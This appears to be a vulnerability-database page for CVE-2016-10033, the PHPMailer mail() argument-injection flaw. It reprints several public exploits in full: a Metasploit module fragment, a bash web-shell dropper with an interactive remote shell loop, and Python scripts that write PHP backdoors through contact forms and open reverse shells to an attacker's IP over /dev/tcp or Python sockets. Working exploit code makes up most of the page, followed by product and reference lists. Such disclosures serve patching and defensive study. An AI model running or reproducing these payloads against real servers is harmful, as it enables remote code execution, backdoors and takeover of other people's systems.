CheckCode::Safe end vprint_status("WordPress #{version} installed at #{full_uri}") if version <= Gem::Version.new('4.6') CheckCode::Appears else CheckCode::Detected end end def exploit if check == CheckCode::Safe print_error("Is WordPress installed at #{full_uri} ?") return end # Since everything goes through strtolower(), we need lowercase print_status("Generating #{cmdstager_flavor} command stager") @cmdstager = generate_cmdstager( 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", :temp => datastore['WritableDir'], :file => File.basename(cmdstager_path), :nospace => true ).join(';') print_status("Generating and sending Exim prestager") generate_prestager.each do |command| vprint_status("Sending #{command}") send_request_payload(command) end end # # Exploit methods # # Absolute paths are required for prestager commands due to execve(2) def generate_prestager prestager = [] # This is basically sh -c `wget` implemented using Exim string expansions # Badchars we can't encode away: \ for \n (newline) and : outside strings prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \ "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \ "{get #{get_resource} http/1.0$value$value}}}}}}" # CmdStager should rm the file, but it blocks on the payload, so we do it prestager << "/bin/rm -f #{cmdstager_path}" end def send_request_payload(command) res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_login, 'headers' => { 'Host' => generate_exim_payload(command) }, 'vars_get' => { 'action' => 'lostpassword' }, 'vars_post' => { 'user_login' => datastore['USERNAME'], 'redirect_to' => '', 'wp-submit' => 'Get New Password' } ) if res && !res.redirect? if res.code == 200 && res.body.include?('login_error') fail_with(Failure::NoAccess, 'WordPress username may be incorrect') elsif res.code == 400 && res.headers['Server'] =~ /^Apache/ fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict') else fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}") end end res end def generate_exim_payload(command) exim_payload = Rex::Text.rand_text_alpha(8) exim_payload << "(#{Rex::Text.rand_text_alpha(8)} " exim_payload << "-be ${run{#{encode_exim_payload(command)}}}" exim_payload << " #{Rex::Text.rand_text_alpha(8)})" end # We can encode away the following badchars using string expansions def encode_exim_payload(command) command.gsub(/[\/ :]/, '/' => '${substr{0}{1}{$spool_directory}}', ' ' => '${substr{10}{1}{$tod_log}}', ':' => '${substr{13}{1}{$tod_log}}' ) end # # Utility methods # def cmdstager_flavor datastore['CMDSTAGER::FLAVOR'] end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end # # Override methods # # Return CmdStager on first request, payload on second def on_request_uri(cli, request) if @cmdstager print_good("Sending #{@cmdstager}") send_response(cli, @cmdstager) @cmdstager = nil else print_good("Sending payload #{datastore['PAYLOAD']}") super end end end
Exploit Database EDB-ID : 40968

Publication date : 2016-12-25 23h00 +00:00
Author : Dawid Golunski
EDB Verified : Yes

#!/bin/bash # CVE-2016-10033 exploit by opsxcq # https://github.com/opsxcq/exploit-CVE-2016-10033 echo '[+] CVE-2016-10033 exploit by opsxcq' if [ -z "$1" ] then echo '[-] Please inform an host as parameter' exit -1 fi host=$1 echo '[+] Exploiting '$host curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php' cmd='whoami' while [ "$cmd" != 'exit' ] do echo '[+] Running '$cmd curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d echo read -p 'RemoteShell> ' cmd done echo '[+] Exiting'
Exploit Database EDB-ID : 40970

Publication date : 2016-12-24 23h00 +00:00
Author : Dawid Golunski
EDB Verified : No

<?php /* PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) Discovered/Coded by: Dawid Golunski (@dawid_golunski) https://legalhackers.com Full Advisory URL: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html A simple PoC (working on Sendmail MTA) It will inject the following parameters to sendmail command: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fattacker\] Arg no. 4 == [-oQ/tmp/] Arg no. 5 == [-X/var/www/cache/phpcode.php] Arg no. 6 == [some"@email.com] which will write the transfer log (-X) into /var/www/cache/phpcode.php file. The resulting file will contain the payload passed in the body of the msg: 09607 <<< --b1_cb4566aa51be9f090d9419163e492306 09607 <<< Content-Type: text/html; charset=us-ascii 09607 <<< 09607 <<< <?php phpinfo(); ?> 09607 <<< 09607 <<< 09607 <<< 09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- See the full advisory URL for details. */ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = "<?php phpinfo(); ?>"; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php'); $mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name'); $address = "[email protected]"; $mail->AddAddress($address, "Some User"); $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033"; $mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message sent!\n"; } ?>
Exploit Database EDB-ID : 40974

Publication date : 2016-12-28 23h00 +00:00
Author : anarc0der
EDB Verified : No

""" # Exploit Title: PHPMailer Exploit v1.0 # Date: 29/12/2016 # Exploit Author: Daniel aka anarc0der # Version: PHPMailer < 5.2.18 # Tested on: Arch Linux # CVE : CVE 2016-10033 Description: Exploiting PHPMail with back connection (reverse shell) from the target Usage: 1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033 2 - Config your IP for reverse shell on payload variable 4 - Open nc listener in one terminal: $ nc -lnvp <your ip> 3 - Open other terminal and run the exploit: python3 anarcoder.py Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html """ from requests_toolbelt import MultipartEncoder import requests import os import base64 from lxml import html as lh os.system('clear') print("\n") print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ") print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗") print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝") print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗") print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║") print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝") print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com") print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n") target = 'http://localhost:8080' backdoor = '/backdoor.php' payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' fields={'action': 'submit', 'name': payload, 'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com', 'message': 'Pwned'} m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe') headers={'User-Agent': 'curl/7.47.0', 'Content-Type': m.content_type} proxies = {'http': 'localhost:8081', 'https':'localhost:8081'} print('[+] SeNdiNG eVIl SHeLL To TaRGeT....') r = requests.post(target, data=m.to_string(), headers=headers) print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D') r = requests.get(target+backdoor, headers=headers) if r.status_code == 200: print('[+] ExPLoITeD ' + target)
Exploit Database EDB-ID : 40969

Publication date : 2016-12-26 23h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/usr/bin/python intro = """ PHPMailer RCE PoC Exploits PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) + PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) (the bypass of the first patch for CVE-2016-10033) Discovered and Coded by: Dawid Golunski @dawid_golunski https://legalhackers.com """ usage = """ Usage: Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html PoC Video: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Disclaimer: For testing purposes only. Do no harm. """ import time import urllib import urllib2 import socket import sys RW_DIR = "/var/www/html/uploads" url = 'http://VictimWebServer/contact_form.php' # Set destination URL here # Choose/uncomment one of the payloads: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) #payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR ###################################### # PHP code to be saved into the backdoor php file on the target in RW_DIR RCE_PHP_CODE = "<?php phpinfo(); ?>" post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE} # Attack data = urllib.urlencode(post_fields) req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read()
Exploit Database EDB-ID : 40986

Publication date : 2017-01-01 23h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/usr/bin/python intro = """\033[94m __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit a.k.a "PwnScriptum" CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 This PoC exploit aims to execute a reverse shell on the target in the context of the web-server user via vulnerable PHP email library. Discovered and Coded by: \033[1;34m Dawid Golunski https://legalhackers.com t: @dawid_golunski for updates \033[0m \033[94m P.$. For testing only! Don't break the Web ;) \033[0m """ info = """ [Version] Limited (ver. 1.0) [PoC Video] See the the exploit in action at: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html [Info] This exploit targets a common webapp component - Contact Form. It combines payloads for the following vulns: 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html [Usage] ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT [-d TARGET_UP_DIR] -ip ATTACKERS_IP [-p ATTACKERS_PORT] [--version] [--post-action POST_ACTION] [--post-name POST_NAME] [--post-email POST_EMAIL] [--post-msg POST_MSG] Note, make sure the contact form matches the default field names (send/name/email/msg). Otherwise override with --post-msg=message_box for example. """ import os import argparse import time import urllib import urllib2 import socket import sys # The Main Meat print intro # Show info if '-H' in sys.argv: print info exit(0) # Parse input args parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir') parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell') parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener') parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition') parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() # Preset vars TMOUT = 3 # Set Vars if args.ATTACKERS_PORT is None: args.ATTACKERS_PORT = 8080 if args.TARGET_UP_DIR is None: args.TARGET_UP_DIR = "upload" # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] TARGET_UP_DIR = [%s] ATTACKERS_IP = [%s] ATTACKERS_PORT = [%s] CONTACT_SCRIPT_URL = [%s] BACKDOOR_FILEl = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) print "[+] Choose your target / payload: " print "\033[1;34m" print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) The escapeshellarg() bypass :)\n""" print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>4): print "No such target. Exiting\n" exit(3) if target == 1: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 2: # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 3: # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 4: # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: # e.g: #RCE_PHP_CODE = "<?php phpinfo(); ?>" RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) # The form names might need to be adjusted post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} # Attack # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) response = urllib2.urlopen(req) the_page = response.read() # Check if the backdoor was uploaded correctly. # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine # So we catch the timeout to find out. # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL got_timeout = 0 http_err = 0 try: urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) except urllib2.HTTPError as e: http_err = e.code except socket.timeout as e: print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" got_timeout = 1 if (got_timeout != 1): print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err exit(2) # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" os.system("nc -v -l -p %d" % args.ATTACKERS_PORT) print "\n[+] Shell closed\n" print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
Exploit Database EDB-ID : 42221

Publication date : 2017-06-20 22h00 +00:00
Author : phackt_ul
EDB Verified : No

#!/usr/bin/python # # Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA] # Date: [16/06/2017] # Exploit Author: [@phackt_ul] # Software Link: [https://github.com/PHPMailer/PHPMailer] # Version: [< 5.2.20] # Tested on: [Debian x86/x64] # CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045] # # @phackt_ul - https://phackt.com # # Find the last updated version here: https://raw.githubusercontent.com/phackt/pentest/master/exploits/rce_phpmailer_exim.py # # All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com # and its research on PHP libraries vulns # # PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) # PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html # https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html # http://pwnscriptum.com/ # # -------------------------------------------------------- # Enhanced for Exim MTA # # N.B: # The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696 # double quotes technique associated with the -oQ -X options to log mailer traffic and to create # the backdoor. This technique is not facing some payload size issues because the payload # was in the email body. # # For Exim: # The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822) # and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log # expansion variables in order to bypass the PHP mail() escaping may leads to large # email addresses payloads. However the comment syntax validateAddress() technique does not # face any size limitation but its use can not be applied for PHPMailer < 5.2.20. # # Goal: # The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20) # combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses # size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function. # We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads. # # # Usage: # ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337 # # # Requirements: # - Vulnerable PHP libraries # - Exim MTA Agent # # # Disclaimer: # For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip import argparse import urllib import urllib2 import base64 # Prepare command for Exim expansion mode in order def prepare_cmd(cmd): return '${run{${base64d:%s}}}' % base64.b64encode(cmd) # Send Request method def send_request(req): try: urllib2.urlopen(req) except urllib2.HTTPError, e: print "[!] Got HTTP error: [%d] when trying to reach " % e.code + req.get_full_url() + " - Check the URL!\n\n" exit(3) except urllib2.URLError, err: print "[!] Got the '%s' error when trying to reach " % str(err.reason) + req.get_full_url() + " - Check the URL!\n\n" exit(4) # Parse input args parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-ip', dest='ATTACKER_IP', required=True, help='Attacker IP for reverse shell') parser.add_argument('-p', dest='ATTACKER_PORT', required=False, help='Attackers Port for reverse shell', default="8888") parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] ATTACKER_IP = [%s] ATTACKER_PORT = [%s] POST_ACTION = [%s] POST_NAME = [%s] POST_EMAIL = [%s] POST_MSG = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG) # Ask for mail library print "[+] Choose your target / payload: " print "\033[1;34m" print "[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)" print " SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)" print " Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n" print "[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>2): print "No such target. Exiting\n" exit(3) ################################ # Payload ################################ cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/%s/%s;nohup sh <&196 >&196 2>&196 &'" % (args.ATTACKER_IP, args.ATTACKER_PORT) prepared_cmd = prepare_cmd(cmd) payload = '"a\\" -be ' + prepared_cmd + ' "@a.co' # Update payloads for PHPMailer bypass (PHPMailer < 5.2.20) if target == 2: payload = "\"a\\' -be " + prepared_cmd + " \"@a.co" ################################ # Attack episode # This step will execute the reverse shell ################################ # Form fields post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'} # Print relevant information print "\n[+] Executing command on victim server\n" print '[!] command: [%s]' % cmd print '[!] payload: [%s]' % payload print '[!] post_fields: [%s]\n' % str(post_fields) data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) send_request(req) print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"

Products Mentioned

Configuraton 0

Phpmailer_project>>Phpmailer >> Version To (excluding) 5.2.18

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 4.7

Configuraton 0

Joomla>>Joomla\! >> Version From (including) 1.5.0 To (including) 3.6.5

References

https://www.drupal.org/psa-2016-004
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/42221/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40969/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/41962/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40968/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40974/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40986/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40970/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/41996/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2016/Dec/78
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/95108
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037533
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42024/
Tags : exploit, x_refsource_EXPLOIT-DB